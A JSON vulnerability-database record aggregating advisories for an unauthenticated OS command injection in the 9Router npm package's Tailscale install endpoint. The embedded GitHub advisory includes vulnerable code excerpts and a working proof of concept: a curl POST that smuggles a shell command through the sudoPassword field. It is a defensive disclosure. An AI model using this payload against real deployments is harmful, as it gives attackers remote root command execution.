{"id":"EUVD-2026-42073","revision":null,"records":[{"revision":"25fc580788004c4fbe198ff03c60b632","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-59800","aliases":[],"title":"9Router < 0.4.44 - OS Command Injection via sudoPassword Parameter in Tailscale Install Endpoint","description":"9Router before 0.4.44 contains an OS command injection vulnerability in the unauthenticated POST /api/tunnel/tailscale-install endpoint (this route is not covered by the dashboard middleware matcher, so no authorization check is applied). The sudoPassword field from the request body is written to the stdin of a 'sudo -S sh' child process. When sudo does not prompt for a password (the process runs as root, NOPASSWD is configured, or a recent sudo timestamp cache exists), the sudoPassword value is interpreted by sh as a shell command, allowing a remote unauthenticated attacker to execute arbitrary OS commands. Exploitation evidence was first observed by the Shadowserver Foundation on 2026-07-04 (UTC).","state":0,"publishedAt":"2026-07-07T18:19:17.154+00:00","modifiedAt":"2026-07-07T19:08:07.806+00:00","affected":[{"ecosystem":"Vendor product","name":"9router","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"decolua\",\n                    \"product\": \"9router\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:npm/9router\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"0.4.44\"\n                        },\n                        {\n                            \"version\": \"0.4.44\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ],\n                    \"repo\": \"https://github.com/decolua/9router\"\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.2,"severity":"CRITICAL"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/decolua/9router/security/advisories/GHSA-g6g7-pvmx-m74p","https://www.vulncheck.com/advisories/9router-os-command-injection-via-sudopassword-parameter-in-tailscale-install-endpoint"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-59800","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-59800","identifiers":["CVE-2026-59800"]},"retained":false,"historicalAffected":[]},{"revision":"372a30e027ff4ea9832e07b5711312ad","observedAt":"2026-11-07T13:25:27.99+00:00","statement":{"source":"euvd","id":"EUVD-2026-42073","aliases":["CVE-2026-59800"],"title":"9Router before 0.4.44 contains an OS command injection vulnerability in the unauthenticated POST /api/tunnel/tailscale-install endpoint (this route is not covered by the dashboard middleware matcher, so no authorization check is applied). T…","description":"9Router before 0.4.44 contains an OS command injection vulnerability in the unauthenticated POST /api/tunnel/tailscale-install endpoint (this route is not covered by the dashboard middleware matcher, so no authorization check is applied). The sudoPassword field from the request body is written to the stdin of a 'sudo -S sh' child process. When sudo does not prompt for a password (the process runs as root, NOPASSWD is configured, or a recent sudo timestamp cache exists), the sudoPassword value is interpreted by sh as a shell command, allowing a remote unauthenticated attacker to execute arbitrary OS commands. Exploitation evidence was first observed by the Shadowserver Foundation on 2026-07-04 (UTC).","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.2,"severity":null}],"references":["https://github.com/decolua/9router/security/advisories/GHSA-g6g7-pvmx-m74p","https://www.vulncheck.com/advisories/9router-os-command-injection-via-sudopassword-parameter-in-tailscale-install-endpoint"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-42073","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 7, 2026, 6:19:17 PM","dateUpdated":"Jul 7, 2026, 7:08:07 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-42073","identifiers":["EUVD-2026-42073","CVE-2026-59800"]},"retained":false,"historicalAffected":[]},{"revision":"659963748ea4431ab44a28fcf8b0c05f","observedAt":"2026-10-27T15:15:33.457+00:00","statement":{"source":"nvd","id":"CVE-2026-59800","aliases":[],"title":"9Router before 0.4.44 contains an OS command injection vulnerability in the unauthenticated POST /api/tunnel/tailscale-install endpoint (this route is not covered by the dashboard middleware matcher, so no authorization check is applied). T…","description":"9Router before 0.4.44 contains an OS command injection vulnerability in the unauthenticated POST /api/tunnel/tailscale-install endpoint (this route is not covered by the dashboard middleware matcher, so no authorization check is applied). The sudoPassword field from the request body is written to the stdin of a 'sudo -S sh' child process. When sudo does not prompt for a password (the process runs as root, NOPASSWD is configured, or a recent sudo timestamp cache exists), the sudoPassword value is interpreted by sh as a shell command, allowing a remote unauthenticated attacker to execute arbitrary OS commands. Exploitation evidence was first observed by the Shadowserver Foundation on 2026-07-04 (UTC).","state":0,"publishedAt":"2026-07-07T19:16:55.26+00:00","modifiedAt":"2026-10-25T20:10:00.147+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":9.2,"severity":"CRITICAL"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/decolua/9router/security/advisories/GHSA-g6g7-pvmx-m74p","https://www.vulncheck.com/advisories/9router-os-command-injection-via-sudopassword-parameter-in-tailscale-install-endpoint"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-59800","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-78"],"productCriteria":[],"sourceDates":{"published":"2026-07-07T19:16:55.260","lastModified":"2026-10-25T20:10:00.147"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-59800","identifiers":["CVE-2026-59800"]},"retained":false,"historicalAffected":[]},{"revision":"830e7589707142d383840ca4bcc02082","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-g6g7-pvmx-m74p","aliases":["CVE-2026-59800"],"title":"9router: Missing Authorization and OS Command Injection","description":"# Unauthenticated RCE via `/api/tunnel/tailscale-install`\n\n**Affected:** `9router` (npm package) — current master (`v0.4.39`).\n\n### Summary\n\n`POST /api/tunnel/tailscale-install` accepts a JSON body with a `sudoPassword` field and pipes it, followed by the body of `https://tailscale.com/install.sh`, into a child process spawned as `sudo -S sh`. The route is not present in the dashboard middleware matcher in `src/proxy.js`, so the request reaches the handler without invoking `dashboardGuard.proxy()`. In deployments where the Node process runs as root (Docker images derived from `node:*` without a `USER` directive, `npm i -g 9router` invoked as root, or `systemd` units without `User=`), the spawned `sh` runs as root and executes the attacker-supplied bytes.\n\n### Details\n\n#### 1. Middleware matcher (`src/proxy.js:3-15`)\n\n```js\nexport const config = {\n  matcher: [\n    \"/\",\n    \"/dashboard/:path*\",\n    \"/api/shutdown\",\n    \"/api/settings/:path*\",\n    \"/api/keys\",\n    \"/api/keys/:path*\",\n    \"/api/providers/client\",\n    \"/api/provider-nodes/validate\",\n    \"/api/cli-tools/:path*\",\n    \"/api/mcp/:path*\",\n  ],\n};\n```\n\nNext.js invokes the middleware only for paths matching this list. Routes that are not listed — including the entire `/api/tunnel/*` family — do not invoke `dashboardGuard.proxy()`. No cookie, JWT, CLI token, or `Host`-header check is applied to them.\n\n#### 2. Route handler (`src/app/api/tunnel/tailscale-install/route.js:18-67`)\n\n```js\nexport async function POST(request) {\n  const body = await request.json().catch(() => ({}));\n  ...\n  const sudoPassword =\n    body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || \"\";\n  ...\n  const result = await installTailscale(sudoPassword, shortId, (msg) => {\n    send(\"progress\", { message: msg });\n  });\n  ...\n}\n```\n\n`body.sudoPassword` comes from the request body and is passed to `installTailscale`, which dispatches to `installTailscaleLinux` on Linux.\n\n#### 3. Linux installation routine (`src/lib/tunnel/tailscale.js:304-341`)\n\n```js\nasync function installTailscaleLinux(sudoPassword, log) {\n  log(\"Downloading install script...\");\n  return new Promise((resolve, reject) => {\n    const curlChild = spawn(\"curl\", [\"-fsSL\", \"https://tailscale.com/install.sh\"], { ... });\n    let scriptContent = \"\";\n    curlChild.stdout.on(\"data\", (d) => { scriptContent += d.toString(); });\n    curlChild.on(\"exit\", (code) => {\n      if (code !== 0) return reject(...);\n      log(\"Running install script...\");\n      const child = spawn(\"sudo\", [\"-S\", \"sh\"], { stdio: [\"pipe\", \"pipe\", \"pipe\"], windowsHide: true });\n      ...\n      child.stdin.write(`${sudoPassword}\\n`);   //  ← from request body\n      child.stdin.write(scriptContent);\n      child.stdin.end();\n    });\n  });\n}\n```\n\nThe byte stream sent to the stdin of the `sudo -S sh` child process is:\n\n```\n<sudoPassword from request body>\\n\n<https://tailscale.com/install.sh body>\n```\n\nWhen the caller is already root, has `NOPASSWD` configured for the user, or has a recent sudo timestamp cache, `sudo -S sh` does not read stdin for a password — it `exec`s `sh` directly. The new `sh` process inherits the stdin pipe and reads it line by line:\n\n1. The `sudoPassword` value from the request — interpreted as the first shell command.\n2. The `install.sh` body — interpreted as subsequent shell input.\n\nAppending `; exit 0` to the `sudoPassword` value causes `sh` to exit before the legitimate `install.sh` body runs. The host executes only the request-supplied bytes, as the 9router process user.\n\nBoth \"Docker container running as root\" and \"`npm i -g 9router` on a host with `NOPASSWD` sudo\" reach this path.\n\n### PoC\n\nThe reproduction below is self-contained: build a representative target image (Node process running as root, with `sudo` and `curl` on `PATH`), start it, send one unauthenticated POST with `curl`, and read the file written by the payload.\n\n**Step 1 — build the target image**\n\n```sh\ndocker build -t 9router-vuln-root - <<'EOF'\nFROM node:22-bookworm-slim\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n        sudo curl ca-certificates \\\n    && rm -rf /var/lib/apt/lists/*\nRUN npm install -g 9router@0.4.39\nEXPOSE 20128\nCMD [\"9router\"]\nEOF\n```\n\n**Step 2 — start the target**\n\n```sh\ndocker run -d --rm --name target -p 127.0.0.1:20129:20128 \\\n    9router-vuln-root 9router --log --skip-update\nuntil curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done\n```\n\n**Step 3 — exploit (one unauthenticated POST)**\n\n```sh\ncurl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \\\n     -H 'Content-Type: application/json' \\\n     -d '{\"sudoPassword\":\"id > /tmp/pwned.txt; exit 0\"}'\n```\n\n**Step 4 — verify**\n\n```sh\ndocker exec target cat /tmp/pwned.txt\n# uid=0(root) gid=0(root) groups=0(root)\n```\n\nThe trailing `\"Tailscale not installed\"` line is a consequence of `; exit 0` terminating `sh` before the legitimate `install.sh` body executed; the `id > /tmp/pwned.txt` write completed earlier in the same `sh` invocation. The POST carried no credentials, cookies, or prior state.\n\n### Impact\n\n**Type:** Improper Access Control + OS Command Injection (CWE-862 + CWE-78).\n\n**Affected operators:** 9router operators on Linux/macOS whose deployment matches one of the following configurations:\n\n| Configuration | Example | Outcome |\n|---|---|---|\n| Node process runs as root | Custom `Dockerfile` without `USER`, `systemd` unit without `User=`, `sudo npm i -g 9router && sudo 9router` | Unauthenticated remote root RCE (primary case in this report) |\n| Node process runs as a normal user with `NOPASSWD` sudo | Developer laptop, CI runner, or single-tenant VPS where the operator's user has `NOPASSWD: ALL` | Unauthenticated remote RCE as the operator's user; root reachable via `sudo` from the foothold |\n| Node process runs as a normal user without `NOPASSWD` and no stored password | Hardened multi-user host | The spawn runs but `sudo` rejects the supplied value. No RCE; the request still triggers an outbound fetch from `tailscale.com` and the SSE error stream reveals platform information |","state":0,"publishedAt":"2026-07-02T20:17:56+00:00","modifiedAt":"2026-07-07T18:56:35.611377+00:00","affected":[{"ecosystem":"npm","name":"9router","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.4.44"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/decolua/9router/security/advisories/GHSA-g6g7-pvmx-m74p","https://github.com/decolua/9router","https://github.com/decolua/9router/releases?q=0.4.44&expanded=true"],"sourceUrl":"https://github.com/advisories/GHSA-g6g7-pvmx-m74p","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-g6g7-pvmx-m74p","identifiers":["GHSA-g6g7-pvmx-m74p","CVE-2026-59800"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T21:52:16.7895348+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T21:52:16.7895348+00:00","lastSuccessAt":"2026-11-07T21:52:17.018923+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:17.0189237+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-5978693a555a2fac0feee4f8e1cdc5e013b9a91b16046d4e34ae63a3d3db8d19","complete":true,"records":420947,"lastAttemptAt":"2026-11-07T21:52:16.4606105+00:00","lastSuccessAt":"2026-11-07T21:52:16.3995215+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.4606105+00:00","snapshotPublishedAt":"2026-11-07T21:18:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c91a0736a9624a48aebf081ca5dd86b2","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T22:04:27.1191985+00:00","lastSuccessAt":"2026-11-07T22:04:27.115+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:04:27.115+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T21:52:16.7895348+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T21:52:16.7895348+00:00","lastSuccessAt":"2026-11-07T21:52:17.0199092+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:17.0199095+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2b22c2d15f834007aa54c93f73b8deaf","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T21:52:42.2590883+00:00","lastSuccessAt":"2026-11-07T21:52:42.255+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:42.255+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T21:52:16.7352005+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.7352005+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T21:52:16.5087916+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.5087916+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T21:52:16.7531721+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.7531721+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T21:52:16.6283313+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.6283313+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}